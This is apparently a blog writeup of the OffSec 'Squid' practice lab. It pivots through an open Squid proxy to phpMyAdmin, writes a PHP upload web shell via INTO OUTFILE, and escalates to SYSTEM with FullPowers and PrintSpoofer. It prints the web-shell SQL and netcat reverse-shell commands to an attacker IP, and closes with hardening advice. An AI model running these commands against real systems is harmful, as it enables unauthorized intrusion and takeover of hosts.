PT1 certified | OSCP in progress

Squid – OffSec Practice Writeup

Squid OffSec Proving Grounds Practice writeup cover

This Squid OffSec Practice writeup walks through abusing a misconfigured Squid proxy to pivot into an internal phpMyAdmin, writing a MySQL INTO OUTFILE web shell for a LOCAL SERVICE foothold, and escalating to SYSTEM with FullPowers and PrintSpoofer.

Summary

Squid is an easy Windows box whose only useful external service is a Squid HTTP proxy on port 3128. The proxy is not vulnerable to any CVE, but its permissive ACLs let us use it as a pivot to scan and reach services bound internally on the host. Through the proxy we discover an internal WAMP stack exposing phpMyAdmin with root and a blank password. Abusing MySQL’s INTO OUTFILE from the SQL console, we write a PHP web shell into the WAMP web root and obtain a foothold as NT AUTHORITY\LOCAL SERVICE.

That service token arrives stripped of its impersonation rights, so we use FullPowers to recover the account’s default privilege set (regaining SeImpersonatePrivilege) and then abuse it with PrintSpoofer to escalate to NT AUTHORITY\SYSTEM.

Reconnaissance

rustscan -a 192.168.188.189 -- -A -oN target
PORTSERVICEINFO
135/tcpMicrosoft Windows RPC–
139/tcpNetBIOS-SSN–
445/tcpMicrosoft-DS (SMB)–
3128/tcpSquid http proxy 4.14http-server-header: squid/4.14; title ERROR: The requested URL could not be retrieved
49666/tcpMicrosoft Windows RPC–
49667/tcpMicrosoft Windows RPC–

Searching for squid http proxy 4.14 exploit returns nothing memory-corruption related, but points at the more interesting angle: a Squid proxy is a pivot. A misconfigured proxy will happily open connections to hosts and ports reachable from its network position — including services bound to the host’s own loopback interface that are firewalled from us.

We use SPOSE (Squid Pivoting Open Port Scanner) to enumerate those internal ports through the proxy:

python3 spose.py --proxy http://192.168.188.189:3128 --target 192.168.188.189
Scanning default common ports
Using proxy address http://192.168.188.189:3128
192.168.188.189:3306 seems OPEN
192.168.188.189:8080 seems OPEN

Two services are open internally but hidden behind the firewall: MySQL on 3306 and an HTTP service on 8080.

Initial access

To reach the internal web app, we configure the FoxyProxy browser add-on to route traffic through the Squid proxy:

Proxy type : HTTP
Host       : 192.168.188.189
Port       : 3128

Browsing to http://192.168.188.189:8080 now loads directly. It is a WampServer 3.2.3 landing page. Selecting phpMyAdmin, we authenticate with the user root and no password.

With SQL console access and the MySQL FILE privilege, we abuse INTO OUTFILE to drop a PHP file uploader into the WAMP web root (C:/wamp/www). The payload is quote-heavy, so we write a small uploader page first rather than inlining a full shell:

SELECT
"<?php echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';
echo '<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>';
if( $_POST['_upl'] == \"Upload\" ) {
  if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Done.<b><br><br>'; }
  else { echo '<b>Upload Failed.</b><br><br>'; }
}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';

We browse to http://192.168.188.189:8080/uploader.php and upload a PHP reverse shell (ivan-sincek/php-reverse-shell) as reverse.php, then trigger it:

http://192.168.188.189:8080/reverse.php

This yields a shell as NT AUTHORITY\LOCAL SERVICE, and we read local.txt from C:\.

Privilege escalation

The initial shell is a service account, which normally holds SeImpersonatePrivilege — a direct path to SYSTEM via the Potato family. However, the PHP-spawned token is stripped: whoami /priv shows only SeChangeNotifyPrivilege. The privilege is missing from this token, not from the account.

We stage our tools and use FullPowers to recover the account’s full default privilege set:

copy-item -LiteralPath '\\192.168.45.163\share\FullPowers.exe' -Destination 'C:\Users\Public\Tools\FullPowers.exe'
C:\Users\Public\Tools> .\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 3100
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

SeImpersonatePrivilege is back. We use FullPowers to spawn a reverse shell that carries this recovered token, so the subsequent Potato exploit runs with the full privilege set:

.\FullPowers.exe -c "C:\Users\Public\Tools\nc.exe -e cmd.exe 192.168.45.163 4444"

Inside that reverse shell, whoami /priv confirms the 7-privilege token is present, including SeImpersonatePrivilege. We then abuse it with PrintSpoofer to coerce the SYSTEM-level Print Spooler service into authenticating to our named pipe and impersonate its token:

.\PrintSpoofer64.exe -c "C:\Users\Public\Tools\nc.exe -e cmd.exe 192.168.45.163 4444"

This returns a shell as NT AUTHORITY\SYSTEM, and we read proof.txt.

Conclusion

Squid chains two classic misconfigurations. First, an open forward proxy collapses the network boundary: Squid’s permissive http_access ACLs let an external attacker reach loopback-bound services (MySQL, the WAMP/phpMyAdmin admin stack) that the host firewall was supposed to protect — the proxy, not the attacker, originates the trusted connection. Second, a database admin panel exposed with default credentials (root / blank) combined with the MySQL FILE privilege turns SQL access into arbitrary file write, and therefore into code execution, via INTO OUTFILE into the web root.

The privilege escalation is a reminder that a stripped whoami /priv on a service account is not the end of the road: FullPowers reclaims the account’s default privileges, re-enabling SeImpersonatePrivilege and the standard PrintSpoofer/GodPotato path to SYSTEM.

Hardening: restrict Squid’s ACLs to deny RFC1918/loopback destinations and limit CONNECT to port 443; never co-host internal admin panels and databases on an internet-facing proxy; set a strong MySQL root password, disable remote root login, and constrain secure_file_priv so INTO OUTFILE cannot reach the web root; and strip SeImpersonatePrivilege from service accounts that do not require token delegation.

Index